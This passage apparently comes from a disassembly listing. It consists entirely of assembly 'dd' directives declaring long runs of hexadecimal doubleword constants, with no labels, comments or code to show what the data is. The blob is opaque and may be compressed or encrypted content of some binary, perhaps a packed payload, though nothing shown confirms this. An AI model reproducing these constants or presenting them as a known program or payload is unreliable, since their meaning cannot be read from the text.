		dd 0FFE4AB00h, 0C8970A8Bh, 0A76500DCh, 16BA7572h, 0E0999519h
		dd 0DA1EC181h, 70FC33B5h, 0A4D754D6h, 0F72C8687h, 0DF61F8BCh
		dd 0B805F821h, 199C8000h, 6A4BEh, 0BD812969h, 3E65FF08h
		dd 4C00F7EEh, 0E372FE47h, 24A3ED5Eh, 602CF3A5h,	18D43A19h
		dd 6BE1D064h, 124D94B4h, 280FD99h, 74DDD6EEh, 0DFF6C41h
		dd 84290462h, 984F07ACh, 48E3E0AFh, 2C022114h, 70B783B1h
		dd 9E489C5h, 51F4A5A9h,	8E93DCFCh, 6CEB0B10h, 27DC5922h
		dd 0F80FA0E2h, 0C9A900B1h, 0F33F42B7h, 5F3A026Ah, 0C3C1ADBBh
		dd 968B7D61h, 0A837CBB0h, 0CE049074h, 0D7C49CFEh, 0E00B99D6h
		dd 40E898B6h, 0FD981607h, 87F434D1h, 0E667A234h, 51E02C56h
		dd 31BDCA3h, 0F72D4116h, 42D8C875h, 3B24C43Dh, 0B900674Fh
		dd 65F362C6h, 980A1391h, 25422D1h, 682C80F0h, 8C472482h
		dd 430AA060h, 0C5490025h, 7BCA7D58h, 0D1263DBAh, 0C0908D0h
		dd 0A6C4944Ah, 9F11C58h, 0BF79404Bh, 299034E4h,	6BC25A00h
		dd 535BB9Dh, 0EAC604E8h, 0E5CE83FFh, 0DB29D238h, 292B17ACh
		dd 14882B78h, 0EA66008Bh, 0C99E98E8h, 59162774h, 0F421F942h
		dd 3F10C028h, 0AF65BB7h, 8BC9880Bh, 73000498h, 0CBEA6C91h
		dd 14A28828h, 6C123C80h, 0A75AA6D4h, 0F07B400Ah, 1D421764h
		dd 0A4D9247Fh, 4EA93BBCh, 2212AC1Eh, 138CC05h, 681664C4h
		dd 59ED6802h, 4BA8C43Fh, 97D8D084h, 5300FC33h, 0AA2380F6h
		dd 0FA9978h, 0E55804A3h, 98C2723Ch, 66D790C8h, 350B49C1h
		dd 0F8BBFFE9h, 0A43851A0h, 0A444BC72h, 52C68870h, 80E2FD3Fh
		dd 67749F2Ah, 78711BDEh, 0F227077Ah, 1A78291Ah,	0FADA08B0h
		dd 0EA49B644h, 842B6802h, 78A45C04h, 0CEE879h, 0A34D3994h
		dd 705E9973h
		dd 89F51738h, 518467D5h, 0C25BF30h, 5000B464h, 0E8AF5A0h
		dd 0F33E0C7h, 6884D5B3h, 58FCE212h, 48FE2AECh, 5312CB44h
		dd 0FA00A4C9h, 99A54C1h, 0D474C24Ah, 0CCA0E715h, 0EB3002ADh
		dd 0E538621Bh, 0A8DC12DCh, 76A9C44Ch, 4BB4CF4h,	20FB4F13h
		dd 0B3248162h, 27486CE0h, 44148Bh, 0ECC37886h, 2E370E14h
		dd 5C66CB01h, 0D74516D0h, 289361E0h, 188270h, 304C3EB2h
		dd 0A53DD934h, 706E141Fh, 93B83900h, 0EA116DDFh, 0E8BE530Ah
		dd 0E552BB1Dh, 54F73020h, 0B200E127h, 0E71D2F3Ah, 4C1B5B13h
		dd 9689F09Eh, 956354CAh, 0DC7943h, 0B79EA0A1h, 20236Ah
		dd 49F61252h, 0FB742DC3h, 5C094E71h, 0D9D1799Ah, 0AB878030h
		dd 3B45FF7Ah, 846B0A00h, 0C50B5B8Ah, 40F4486Ah,	7E399E00h
		dd 0A9200454h, 0EEB34E00h, 0E518633Bh, 185260DBh, 357F98B4h
		dd 9314FB01h, 0C7AF3451h, 7AC68DE0h, 1F5B2A1Bh,	0BCBD2064h
		dd 0BFD633Fh, 8AF38401h, 0E302C015h, 0D4EA3237h, 0B51028F8h
		dd 6A1B14A2h, 0E0F3E410h, 76691D66h, 209C00Ch, 0D3C311EEh
		dd 8B027A76h, 0A25C4DADh, 98A75D1Fh, 0E1601F90h, 0BE0961EAh
		dd 312DA07h, 0E3800421h, 7EE4Dh, 27C8C37h, 9F4360F5h, 4414E500h
		dd 0C87DA457h, 0F6682EFDh, 9775063Ch, 0F20E9970h, 23F12ED5h
		dd 0B1271758h, 3878B492h, 0D0FB0A08h, 8EBF5588h, 4890EC8Ch
		dd 35210240h, 61A3A439h, 351702CCh, 6300C215h, 18F59320h
		dd 0CB0700DBh, 8BA79CA6h, 54981C0Eh, 0C8E9D726h, 202F368Ah
		dd 7E2A4D05h, 0A854A4h,	0BA151FECh, 0DF4DF9Ah, 19C30709h
		dd 60120EF7h, 1402109Ch, 80ECB1F5h, 0F407A67h, 0EA77F6D8h
		dd 0D10E557Dh, 4137F35Ah, 7B667527h, 49FB5D0h, 89317C8h
		dd 7704EC1Dh, 3C297D4Bh, 0AC0920h, 602628C9h, 73865B18h
		dd 52043C00h, 0AB5949E2h, 8850B6F5h, 0A4404C2Ch, 388E0Dh
		dd 131E5C19h, 0FFA1246Fh, 0B6B21B00h, 252EC365h, 2BE4073Bh
		dd 0B1793847h, 8C7B0CB3h, 4191E938h, 8F550036h,	6D64589Eh
		dd 0FB00723Eh, 3407E496h, 443C4641h, 0BE582C27h, 38B4376Ch
		dd 55608B87h, 1828DCCh,	0B3C593BBh, 882FDA5Dh, 391279h
		dd 47CCB9EDh, 42070F87h, 0BE82ABDFh, 8491D7E0h,	1D0D0A5Fh
		dd 0D683295h, 0F3389894h, 6918190h, 2BE04F00h, 0FB073A6Eh
		dd 0DF650167h, 711EE554h, 6A1EFB2Ah, 30C275Eh, 2294497Ch
		dd 88031F8Fh, 7745EF06h, 4E338065h, 709100B4h, 26C85EC2h
		dd 6EC19E0h, 0BE0B6200h, 0C3BD0F6h, 0EDF9C032h,	3A51110Eh
		dd 6600B990h, 9A71CCBEh, 62874AE0h, 29957889h, 9DB61920h
		dd 0B404822Ah, 0DC80408Bh, 9EA4E0h, 0D3EC6273h,	0B37192A9h
		dd 47119901h, 0BFACC46Ch, 0D5228C4Ah, 913D8030h, 355A36h
		dd 0E71E0FDEh, 0C7AC3F6Fh, 317AC300h, 25BD4844h, 0E02F0A8Dh
		dd 38C3842h, 993C458Fh,	547CE014h, 8A6408E4h, 0C70D0631h
		dd 0CD00B152h, 0C2110E3h, 7E5960h, 0A4D4B9DAh, 0B3829CB7h
		dd 10F09153h, 99013AC7h, 0CCD5960Eh, 0AC66F005h, 9C1D2CA0h
		dd 8C6052h, 0BBFA858Ch,	3A615E3Ch, 58003790h, 0CB256C2Ah
		dd 82011805h, 5120E446h, 58205F52h, 5899C16Bh, 8033BB66h
		dd 0FF71AE59h, 0F36EA602h, 40317820h, 0A31860F8h, 8F29894Bh
		dd 99FE00F3h, 429D967Eh, 660C3A1Dh, 20356BE0h, 0E1B7028Ah
		dd 5F8327A8h, 3903F1C3h, 290F6A0Ah, 4334B832h, 9180F0B8h
		dd 0E2B100A4h, 0F16DC648h, 1CC1DE24h, 2549C44Eh, 194E0C82h
		dd 8A6611BAh, 586087D2h, 95B98C90h, 63D287Dh, 8BBB229Ch
		dd 7B15C710h, 53344900h, 4A5AAAFh, 6E08F50h, 33FC6404h
		dd 0E4401D94h, 0DFE9F8A1h, 2058300Eh, 0A7F540E5h, 2A9FC04Fh
		dd 4448F2E0h, 0B50A91F6h, 9CF511B6h, 0E4BD580Eh, 8E073AB9h
		dd 0E0293D3Bh, 0E254B88Ch, 0AD447E74h, 2D4486C6h, 0F4974480h
		dd 80DD023Dh, 0A0161B4Bh, 0F425E42Eh, 35FE6C6h,	24E763FAh
		dd 3172B37Eh, 22260400h, 0B5787DC7h, 0D14A0596h, 4AEF5A5h
		dd 8092B8D4h, 409AB68Ch, 63F954A0h, 1C46CCAAh, 69310500h
		dd 0DD78347Fh, 5FFA010Eh, 6F42B0BAh, 9683357h, 8E92C236h
		dd 31C0F05Ch, 0BC1DB9B1h, 9D1F937Bh, 0ECC0773Eh, 58999C6Bh
		dd 0C49007F6h, 0B0372E68h, 21F0DC1Dh, 42CEA401h, 4CA54527h
		dd 0E285ED8h, 1F2094E9h, 7F5C2641h, 32589DF0h, 0E148CC80h
		dd 0A81890h, 0BE26398Dh, 0D6C4D2FEh, 28B3B430h,	0C6C05281h
		dd 8587261h, 0F400EBF8h, 22531F7Bh, 0F0D3C491h,	5F30C7B0h
		dd 0A71F48D5h, 55AD4E31h, 887A9080h, 7D109785h,	426A8207h
		dd 1163CCFBh, 40D876DBh, 0C46335E5h, 0B0A66A71h, 1F82B659h
		dd 40D996D5h, 363B4D8Fh, 0CA0C2E75h, 8324670h, 644E12BAh
		dd 0FAA00E27h, 1EC9F90Ch, 3430A4A4h, 8D8859D1h,	0A4F8006Bh
		dd 0A1B06616h, 2078DBE1h, 487DC214h, 0CE416183h, 0B510B0EBh
		dd 573FAE40h, 0CC880E8h, 0CFBE0126h, 0D6D02E22h, 3BBB0047h
		dd 1E123981h, 0D8E168CDh, 814023FCh, 586C10B6h,	875D007Bh
		dd 0FD82C5BDh, 750537B2h, 0C21AA46Bh, 5CEDA047h, 9A338131h
		dd 0DBD93980h, 0AB7CF977h, 29CA6430h, 0F72FF3h,	854B933Fh
		dd 7D389951h, 8BDA360Fh, 3A79201Ch, 0F21A9F04h,	406B00FCh
		dd 0BFF64F10h, 0E8A9D71Eh, 0E900CF5Ah, 226B1A51h, 0CF686ACh
		dd 9DEA3F4h, 0A8A2B030h, 0CA2A3C2h, 9428D133h, 22821Dh
		dd 0D65D284Ch, 0DC3BE5F7h, 1350BF7Bh, 0C8A84534h, 0C005614Dh
		dd 8B91AFF3h, 2F15DC0h,	73D6007Dh, 0A0CCF635h, 9B07D540h
		dd 0BC3BEC53h, 569054D7h, 0C01F468Ah, 93612251h, 11C04B72h
		dd 0B1A82712h, 8134007Dh, 8598EDDBh, 90AED4h, 67B544h
		dd 0C2D53376h, 0D4BD4399h, 7F22D00Fh, 840F32E2h, 0A19E501Ah
		dd 82B73F08h, 39668AD9h, 0F95C9960h, 550CC2F0h,	38C17E72h
		dd 6B500DB9h, 0D830BEF2h, 6C01443Ah, 0CA05A77Ah, 0AC40DA99h
		dd 894023A2h, 65423F1h,	4C593363h, 307D0011h, 0A9E94347h
		dd 0FB1EAF4Ah, 56C0F8E1h, 0F79E468Ch, 0C453248Ah, 0A03C285Ch
		dd 48EB855Ch, 0BCC1240Eh, 203228C3h, 0EB864B54h, 91F1E048h
		dd 5CEA60E0h, 3439DBD0h, 3F9700A4h, 5AEEDAADh, 9DF300F6h
		dd 8424C10Fh, 2F602648h, 1A17E278h, 3898ECh, 0DC55EAD1h
		dd 0DB1FDD3Bh, 0C3BB4D14h, 6197318Ch, 8180D235h, 94D1FF17h
		dd 5112261Bh, 9C04A423h, 74C89598h, 30D549F1h, 84355C04h
		dd 1E64C877h, 0E7981607h, 0C42262C0h, 35104057h, 1A88C9D1h
		dd 40E41024h, 7F53B2E8h, 997C0096h, 70B7476Fh, 7B005AE1h
		dd 0B426E6ABh, 0A9EF1FDAh, 6417D158h, 2C084E2h,	0C55737ADh
		dd 8E935040h, 0B1D2D481h, 0B820853Ch, 4481869Ch, 8A9C414Ah
		dd 0BAC4012Bh, 5FF8A3E6h, 0AF7100BBh, 1B01FCF7h, 7D0CBDD9h
		dd 41A7C4A4h, 91570C1Dh, 0E4112972h, 0ACB13503h, 9099164Bh
		dd 0B2F583h, 4CEBC105h,	2937735Ch, 95C2DA3Dh, 74BCBA71h
		dd 90AD4828h, 1384E44h,	0CB8C0342h, 4007976Dh, 4941C6A9h
		dd 1FE4560Ah, 79648CA7h, 984294Ah, 0F803D93Bh, 1900D65Fh
		dd 55BE6338h, 249CE71Ah, 5ADC98CCh, 1A663C00h, 2600B51Eh
		dd 0F5DFA61Bh, 3191D608h, 72F1D877h, 0C335C0A7h, 461BE00h
		dd 16AC1546h, 202F0547h, 32446BFDh, 3630E8B4h, 50D98005h
		dd 0A1D35C34h, 20224C82h, 0BC585625h, 985EA22Ch, 354D18Fh
		dd 4CBF7650h, 0A3C04C31h, 0CD4B7F63h, 6F72BAE0h, 91EB5Ch
		dd 90EFA823h
		dd 6566949h, 705094B4h,	0C4EC4165h, 2A86600Ch, 4049C3h
		dd 457A10D2h, 35365733h, 24D87058h, 64041CE2h, 0F34858C3h
		dd 6E56BD80h, 5CC27B68h, 8506004Dh, 212435BCh, 0BB4898F7h
		dd 1EB761h, 0A4CEA146h,	648C25BFh, 0B8825400h, 0CC3A025Fh
		dd 30589807h, 91417172h, 6E00773Fh, 0BB2CD344h,	2639972Ah
		dd 40485AD9h, 0DD29C870h, 819C2200h, 4995A5D2h,	0D3B300EEh
		dd 0BE3BADFEh, 44009F4Ch, 9C469989h, 5115724Dh,	1C42AC38h
		dd 47C32EAAh, 0F5C05296h, 56130EDBh, 0C002BF5Dh, 24F92FBEh
		dd 0C08C5477h, 0D1F722EAh, 4D34B067h, 0A179683Ah, 50101494h
		dd 34A0C1CAh, 78989737h, 88DA12F9h, 638744CCh, 18F92EEEh
		dd 553C208h, 0AF740C3Ah, 0F27082B3h, 0C3449064h, 754A0013h
		dd 0D16F5E92h, 4FAA6A2h, 7220E506h, 0FF05DCDh, 5B33BC19h
		dd 36600AB6h, 887545D4h, 0EC004384h, 7288BF26h,	1C101B07h
		dd 804E50DEh, 2C7C8405h, 0C32401FDh, 4710C057h,	49657084h
		dd 2FEC84C4h, 0D9809837h, 890567ECh, 8A9007FDh,	49AD5ADAh
		dd 0B5D47002h, 0E8408890h, 5D6D900Ch, 445AA156h, 350E6404h
		dd 89DBD5h, 25615D4Dh, 0CED6143Fh, 3C17D0C2h, 7A9030EEh
		dd 90C4E957h, 0D422A3BFh, 0CF249812h, 0B3320055h, 6EDF4524h
		dd 7C0036E0h, 29F405C3h, 48CFE56Fh, 2B0078EBh, 0CD5C1AF7h
		dd 5702BF4Ch, 79961E42h, 3888424Bh, 67DDBACh, 879DDA9Eh
		dd 3520F0A7h, 44285894h, 88908F21h, 0AB8FC088h,	81524009h
		dd 18427EB2h, 704FB67Bh, 18828404h, 0F8140C8Ch,	0F5E70652h
		dd 0B4DC2843h, 939D5A1Ah, 8D18C170h, 0FE940414h, 0D75F06B0h
		dd 14AA0779h, 312F6FEAh, 4258A169h, 0EF19679Ch,	0C504B208h
		dd 0F15C3AB5h, 6BCE7280h, 0EC512646h, 21370864h, 57B75E41h
		dd 602A4460h, 1FEB418Fh, 6201A8FCh, 307F8724h, 0DAFCF642h
		dd 46D71FC1h, 377606C4h, 5207319Dh, 0D94C9058h,	0DABFD290h
		dd 8DE405C8h, 0C13FAE09h, 0D89F7768h, 0B91DDEADh, 61C05CBEh
		dd 86DB442Ah, 0C08B054Ah, 4D3ED3Bh, 7BEE1B4h, 0A91C52BFh
		dd 6D8124BDh, 7A3A4040h, 2026BAA5h, 0BF09602Dh,	0BC848A5Ah
		dd 0D888FD10h, 0D7185D92h, 0F63FEh, 0FA22F777h,	0ECD04091h
		dd 3A258DE0h, 77682098h, 16E11415h, 2373DAE0h, 5C8D838h
		dd 8200CDBBh, 11A0A68Eh, 12BC2CE8h, 0D98FE47Bh,	0A9DE8144h
		dd 0BD631397h, 1F5422E0h, 0E58E83h, 9B6E572Fh, 2C90D81Dh
		dd 0ECBF5522h, 5FEA28F3h, 0A8180008h, 0F4708CA6h, 2200B16Ch
		dd 159E6566h, 480CF96Fh, 8E315C37h, 222AD678h, 733307ACh
		dd 497C5FF5h, 2B7E47h, 174F8363h, 0B8F6BC79h, 0E8D81F00h
		dd 53F0568Ah, 2B0C0024h, 0C3FBDD5Eh, 907C31BAh,	77C1010Ah
		dd 0E2000C36h, 0D29B61A2h, 5A6CE20Ah, 14DAC64h,	428922CFh
		dd 118AFFACh, 91439A2h,	38113BD6h, 481C2726h, 0E0830B24h
		dd 72D09075h, 867D005Ah, 0FAD012F7h, 2B244CBCh,	0C90011h
		dd 4B22E970h, 3EAD1263h, 5034AC95h, 48170334h, 0BC01FC69h
		dd 0A1386E5Bh, 10703CFDh, 892A621Eh, 78525FBDh,	3A438800h
		dd 0FA9ADF76h, 41EE0EF2h, 1CCFA339h, 0DA4F0621h, 439DE3FCh
		dd 0FE1FBFF4h, 634A4905h, 0FC8289DDh, 785C44F4h, 20CE8A3Ah
		dd 12243622h, 1318FF5Ah, 311030FCh, 0C002D85h, 0D8E74D32h
		dd 1BC23B5h, 5D40A556h,	20EC66CAh, 0B6446CF4h, 513A6072h
		dd 755FA1B8h, 9C3E3701h, 0BC6B7A3Dh, 0B0B031F3h, 809E3561h
		dd 47E57839h, 0C10B3Fh,	5D6393BCh, 7239FEC9h, 104E5B25h
		dd 39177580h, 0B3076DE5h, 60881BFCh, 0E294DAFFh, 0DDC1C001h
		dd 65524C72h, 0A08754C9h, 0E06646D4h, 26C3BFD5h, 7415280Ch
		dd 0BA514Fh, 8182793Dh,	8078074Bh, 0D28CF100h, 200FCAE2h
		dd 7B047943h, 0B9ED61BDh, 52392AD4h, 864729Ch, 7EA80C03h
		dd 0A8EDD5E0h, 390B4F97h, 1282A52Eh, 83CEBCCAh,	0F690E4C3h
		dd 0E2007C90h, 0BF772F81h, 25BE18D1h, 3C8FA2F4h, 32B3588Eh
		dd 2820F7BCh, 0A4634Eh,	0DBDAC7D2h, 0BF65F411h,	6787D09h
		dd 76104854h, 0A96D88D5h, 0B8865502h, 0E3564AC1h, 0D7F800BDh
		dd 0EDCABDC3h, 250B6F3Ah, 0B9B7Ah, 1A6664Ch, 19C332C2h
		dd 0EC52CE99h, 20006096h, 0A32E8A0Dh, 404D04ECh, 0E0D86FD5h
		dd 0AA123370h, 0A0905E8Eh, 7A78B3h, 464A18Ah, 0D5524DFDh
		dd 304AE334h, 650BD4A2h, 5F8FFAh, 0CAF7DE5Ch, 20120088h
		dd 0AE1983F8h, 0A00A17A6h, 8C9834BCh, 0DE799980h, 0EE434Fh
		dd 0E3780815h, 850484A8h, 1B25FA00h, 4BB5E170h,	4D7F013Bh
		dd 0AB5C19DAh, 916BF871h, 350C2096h, 0B651E9h, 30DDAECDh
		dd 0CA94149Bh, 0E49A700h, 3B81360h, 41789029h, 0ABC70BBh
		dd 64BDCCA8h, 3200DC91h, 9013C148h, 30C013Ch, 3A5CB6D5h
		dd 0C43237h, 6DAB5FADh,	4B6B23h, 0A6EAEFB7h, 5B088796h
		dd 6718412h, 0CD992840h, 1518854h, 658AC8D6h, 0D05E5561h
		dd 0E400AD56h, 0C987A3CEh, 955DE7C2h, 5A6E0F40h, 1E5CBD3Fh
		dd 0A600A26Ah, 0D77D7C51h, 30F412FDh, 855830BAh, 87004A0Ch
		dd 40FFAA3Ch, 0F1FB2B3h, 8CF3395Fh, 0C4029BC9h,	4C66C2D9h
		dd 0D8245700h, 0C517631Ch, 96F01DDh, 0C42216CCh, 0C1A03CD3h
		dd 71B2EBDAh, 13C7BDC0h, 0EA1BA3Eh, 0F3E327E0h,	9F81073h
		dd 86443D6h, 94B45A91h,	0D9CCF7A5h, 0D4660B62h,	83D4A7C7h
		dd 204BDA0Eh, 7DE0EC8h,	0E57E08h, 0BD5EA0ABh, 2DFEC6F3h
		dd 6774E300h, 87723A37h, 34B12C13h, 225E00A0h, 6DBA6E23h
		dd 0C600F4F4h, 0EA1AD12Eh, 5098CF51h, 94ADCEh, 7B0D9B5Ch
		dd 0EE021FA1h, 81BB603Ah, 0D84C30C9h, 0E4549C6Ch, 83488Ch
		dd 976EDB54h, 0B57CB761h, 0BB178AE4h, 0A5098D71h, 72080319h
		dd 0CC313E6Ch, 0A9692B80h, 0C7DF7AA5h, 0F234C60Ch, 884E5927h
		dd 9E7486E7h, 78E6B207h, 0FB226FBDh, 7246090h, 0F6532E8Dh
		dd 96D8CA9Ch, 0E4249174h, 75003EEBh, 0A141C909h, 4AEC09F8h
		dd 8882CF64h, 0BD04D224h, 0D0F8CCh, 3864D629h, 0C4798132h
		dd 5A3EB7F4h, 1EEF4A62h, 9010A7DDh, 4600A2CAh, 2E3F74AEh
		dd 2D58C66Fh, 0EC205E4Ah, 0A72D30FFh, 0E733Ah, 0FD4E899Ah
		dd 0FA328Ah, 6DF8D807h,	79B39115h, 0BA4ACC90h, 0A5E16870h
		dd 0D2D300D4h, 90674680h, 352D92DEh, 7D2890E7h,	0C2C7090Eh
		dd 84903A55h, 5E01269Eh, 0D1208BC5h, 944839BCh,	5202024Ah
		dd 0CA811DF3h, 8E044079h, 488035A8h, 88360Fh, 0A63B0B57h
		dd 0A1DE26E0h, 3D531B02h, 905E2494h, 595EE98h, 0BD3C0AFEh
		dd 96F6807Eh, 0F8035C07h, 0BC1C6CC6h, 1461FE1Eh, 70D27050h
		dd 60EBB21h, 0A02F0062h, 1AA5D3Bh, 2331C8F3h, 89B75F7Fh
		dd 1652BF31h, 5E040094h, 2EB0681Bh, 2000F631h, 0EE805025h
		dd 5CC8EB29h, 6D80B811h, 0CAC4185Fh, 0DA142271h, 3F085742h
		dd 29B430C8h, 0E8FD0E60h, 99EFC87h, 526306A9h, 8447C88h
		dd 0BD823C1Eh, 70B63657h, 0A48638h, 9D9C6E89h, 0A3D71991h
		dd 3EA42702h, 60FF7B96h, 0E343866h, 337D364Ah, 2082B5ABh
		dd 0C422D16Bh, 80246CECh, 506BD8B8h, 0F1C910CBh, 0C34A8110h
		dd 0D2D30CA1h, 0EC88B829h, 716D1867h, 2DE4B029h, 8075E283h
		dd 161FD334h, 0A4F73C34h, 9924930Eh, 700ECB40h,	7B0EC784h
		dd 0DE4ADAB2h, 7EC2B42Ch, 40AA20C2h, 4A5CD847h,	93C7B084h
		dd 0B5AB02B2h, 0C2DF73E4h, 0B7000459h, 589AEDCEh, 7BBA1CAFh
		dd 906EA0h, 42613AC5h
		dd 1FEA4C45h, 8FCF1E00h, 49BFB03Ch, 0D1CC0937h,	0CB0077E7h
		dd 0B2216F80h, 0EBAD9200h, 4408F6Ch, 3E46F0CBh,	0CF0ACA2Fh
		dd 42DC3ABCh, 0C446B50h, 0A200DAECh, 0BFA0285Eh, 1880F4B0h
		dd 11270DE9h, 0E27FABECh, 257D3506h, 1739EDFFh,	0C5A372C8h
		dd 0C13882CCh, 5429CF2Eh, 0DA8978E8h, 20645830h, 512D4F0Fh
		dd 0D304186Eh, 0B5C30035h, 0C057AB40h, 5A88301Eh, 0F671C026h
		dd 55E814A4h, 0F7495600h, 0E4BA2AE2h, 63231388h, 58A10278h
		dd 4C648425h, 7443355Eh, 906D09D7h, 0F05EC5BDh,	5E9000Bh
		dd 0FF179054h, 941252FEh, 60307AADh, 0BBCEE30h,	505F744Ah
		dd 0C9EA3280h, 0C700F886h, 0A931F52h, 4AD6A105h, 3080127Bh
		dd 0C634AA0h, 0E258AE1Fh, 1F9A8080h, 376F8B9Bh,	0F0612572h
		dd 29F80969h, 0A60ECC00h, 7A79C42Bh, 6E3C2E40h,	0C0AB1790h
		dd 0BA6C813Ch, 0ECE2C9C0h, 0BCF4786Bh, 0A4630128h, 30BD8B67h
		dd 1188CAE0h, 0ED0300A6h, 0B544924h, 2100E9A1h,	82E3E5EBh
		dd 0B738EC9h, 44BF9793h, 9910B846h, 52004C8Dh, 639490E0h
		dd 2202D4EEh, 42D6BAF3h, 0A2AC7A83h, 3D44418h, 851ED57h
		dd 28A09D54h, 84023643h, 5AC3F0E0h, 2EE0AE5Bh, 0D9DF00E4h
		dd 4B2B2Fh, 0AF048270h,	0CE4339D7h, 0D58D0902h,	60FF2894h
		dd 89ED2900h, 1C9C4C38h, 0B0E74200h, 0C598BD7Dh, 2236022Bh
		dd 0E01BC1AEh, 0E408C054h, 0C391EDh, 18B763Fh, 7DBCA397h
		dd 20734FD6h, 0F6A11AB4h, 0E9511C01h, 0B2F3E4C2h, 0D0553898h
		dd 0E9DCC05Fh, 0C85648C0h, 0B1BE2h, 4E278329h, 0EBBCB045h
		dd 3A32FF09h, 55D8C87Ah, 0D89D381Bh, 0BC258D00h, 0BAC48CE8h
		dd 6D40E494h, 9C48671Eh, 5CCA91B8h, 0D5C09E48h,	2F58DA05h
		dd 435603B5h, 5ACA79C3h, 2A0846F8h, 0BB3CBC13h,	5C285C90h
		dd 0A65778EBh, 689EC8h,	36425649h, 0CCAAAA48h, 950FDC7Ah
		dd 74DFA7Fh, 0C210D572h, 0AFDFCh, 7F03EE8h, 9294C9DEh
		dd 4422CC90h, 1ADB0958h, 2484BB77h, 0F14D41B3h,	58803FC1h
		dd 278CF0BAh, 640056BFh, 2857549Eh, 37FFC229h, 701834C5h
		dd 90E07B2h, 0ADBDEC01h, 6FCEA04Ch, 702C2839h, 895A67F0h
		dd 6B85D4A0h, 21006E6Ah, 3E1A4E25h, 0F103B45h, 164731D1h
		dd 0A88FA9A4h, 73520864h, 0CB708EF9h, 0BBC41391h, 54814091h
		dd 1782AF2h, 0D540228Ah, 8911FF27h, 0C43EE658h,	5F864C48h
		dd 730039BCh, 179A0B7Fh, 7E4EECh, 22856045h, 0B85388DFh
		dd 4CCF9402h, 70A8546Bh, 4E1D25D4h, 3607586Eh, 0A4AA51EEh
		dd 37FCE481h, 0C2A243FCh, 0D47D5029h, 0A400F4D9h, 0F17E2A64h
		dd 0B04F6236h, 640EBC9Bh, 0D340D11Bh, 43D880B1h, 0BE1F2918h
		dd 13A2C38h, 0EC57C0BFh, 38D5BB1Eh, 0A6770004h,	0DD60FE94h
		dd 39D4A0E3h, 6495E96h,	0A9FCD560h, 2440A0A0h, 984D18Ah
		dd 2DF82248h, 0D6B0DFFDh, 0E800FE32h, 119BAF7Ah, 1D31A2B6h
		dd 0A53728C1h, 40507424h, 0ED405715h, 4D9600B8h, 0D4EA5C86h
		dd 63096DDEh, 0A03351B6h, 2990504Ch, 0EB700F28h, 0B4A4B555h
		dd 0C720F434h, 1F2A8902h, 0C40DA4CAh, 66F512CCh, 3AD207E1h
		dd 0C3F47179h, 690471C4h, 29731D2Ch, 6E74B040h,	21D023h
		dd 463FDD7Fh, 0C06B4BE7h, 9C00DBB8h, 147EA1A0h,	30F84Eh
		dd 0AA699774h, 0DBA9FD6Ch, 9685D07h, 0EC903975h, 1444732h
		dd 0C4715221h, 0D127EF37h, 0DF6AE008h, 0F993AB0Fh, 0F113E3F6h
		dd 99DAC87Dh, 8BA91E98h, 0DC954FB5h, 68786580h,	2900FECBh
		dd 0A1AC04BAh, 0C906CF5h, 8A99701Fh, 19007150h,	40068421h
		dd 7DE8F689h, 0E01B483Fh, 4175421Dh, 0F147C5DEh, 0CC3197BFh
		dd 0A77C1A06h, 79F44449h, 400402E8h, 0F6E12F81h, 3C27B6C0h
		dd 712EBAC1h, 1ED1C056h, 0F372A63Ah, 37C2AF1Fh,	0E1706F5Eh
		dd 30A9B971h, 32102879h, 19C3EFD0h, 0F84AC64Eh,	9C2D65h
		dd 0DB534058h, 9EF14ADh, 0C374E300h, 420456D1h,	1941C0C8h
		dd 1A23AF5Ch, 1D0C700Eh, 3818BF5Ah, 77CEE450h, 293CA047h
		dd 109EA82h, 4DC9CDE0h,	8676603Fh, 0A0D0F149h, 15810729h
		dd 1E37CC16h, 19B89986h, 2CC4DF00h, 6A136188h, 41C502E5h
		dd 0A0BA101Ch, 3EA94883h, 7187100h, 31357049h, 0E70579F2h
		dd 462091h, 7AF64C1Dh, 7CB751h,	0E38DC7F1h, 0C891358h
		dd 79DFB53Ah, 2009978h,	3F1A321Fh, 0A158906Bh, 991075A0h
		dd 0F61848CEh, 1530D182h, 1EE8225Bh, 0F0B74405h, 0CC401957h
		dd 99BF9568h, 11A800EAh, 6BE1D7A9h, 0CE00DCE8h,	0C9A250A4h
		dd 0A1304BEDh, 6C50B9D8h, 6001A532h, 0A7BE4809h, 0F801720Eh
		dd 0B9BD42F7h, 80487CBCh, 0FADB886Ah, 6431D30Eh, 0FC9C27BEh
		dd 69D94BF0h, 6DA00C37h, 0BD8013Ch, 0E777273h, 0C607E017h
		dd 0B6A9E303h, 9A49156Dh, 0C700C09Bh, 0FC246032h, 91244507h
		dd 9D0150BFh, 16F86D89h, 0BC479441h, 37B9D848h,	0C49970B5h
		dd 0F1005FF7h, 0C1F34FA1h, 0BB8CA81Eh, 816D15A7h, 0C73AFCC5h
		dd 1025430Dh, 5012BC21h, 9788D248h, 4911007Dh, 1D28244Bh
		dd 0D10041BFh, 57A25EF6h, 0A8E06BDFh, 8871B7A4h, 1B00F75Ah
		dd 0A676EDCFh, 0A0DD4E30h, 4C37E428h, 0D18004F6h, 8257C9DFh
		dd 0CD29C606h, 14F0A5B9h, 4C373843h, 0C39F611h,	192B2644h
		dd 971D2AD3h, 34EFC90h,	0D22AAB73h, 894C8240h, 0C28300ADh
		dd 160CC745h, 2F3D0042h, 0DB481E7Ah, 440CDF76h,	5049432Eh
		dd 0F2041E08h, 48B30098h, 0BD34E1E2h, 45D3AB04h, 14D2F095h
		dd 439D2090h, 203A378Ah, 453C8B60h, 0F03680AAh,	4F0BC9h
		dd 6DE9DBBDh, 0B9479CB5h, 5739AC63h, 0A6C10714h, 0B063CACEh
		dd 1AEE163Bh, 7E5F061Ch, 0F51DBBC0h, 9CD99B5h, 0FD04703Dh
		dd 7AA92407h, 34C18084h, 0A4C2DD0Dh, 0A00F3500h, 0D42ECA7Ch
		dd 4F3B1FE8h, 4C01407Eh, 5CD3E516h, 37DFA60Fh, 84A4D4D2h
		dd 31402A1Bh, 0C988FBB6h, 40283200h, 51E697D1h,	6BA100D8h
		dd 69564271h, 0A600523Fh, 0F153CCCBh, 78ADD37Eh, 8697002Eh
		dd 69ABC0DEh, 574C42B1h, 0C11981F8h, 0A670E973h, 0CA3E0025h
		dd 0E30EF697h, 793CF118h, 11B28083h, 0D9E0BFAAh, 0CC30F3C7h
		dd 149E01D3h, 99765F26h, 4020129Bh, 0BD2D83h, 35C496E2h
		dd 14981118h, 7F13E300h, 270B0DC1h, 0AD0501C0h,	0E2C312BBh
		dd 0A3EDF037h, 0E3087F00h, 7EB39055h, 0C8141C43h, 65647Ah
